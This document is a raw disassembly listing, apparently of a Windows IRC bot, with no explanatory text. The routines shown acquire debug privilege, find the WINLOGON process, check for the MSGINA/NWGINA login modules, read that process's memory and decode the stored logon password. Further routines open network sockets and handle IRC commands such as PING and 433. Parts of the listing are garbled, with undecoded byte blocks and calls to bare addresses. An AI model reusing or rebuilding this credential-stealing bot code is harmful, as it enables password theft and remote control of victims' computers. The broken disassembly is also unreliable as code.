		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2D923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 36917FE8h,	75C08502h
		dd 0FC75FF8Fh, 9172E890h, 75FF0234h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023690h, 56B175C0h,	90EEE890h
		dd 458B0234h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26C0000h
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27B0356h
		nop
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2690325h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27E0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27D0A74h
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 276091Dh
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2670999h
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2690325h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0A74h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0C9Ah
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2670999h

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2670999h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27D0A09h
		push	eax
		call	near ptr 27D0000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		call	near ptr 27D0A09h
		nop
		push	eax
		call	near ptr 27C0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
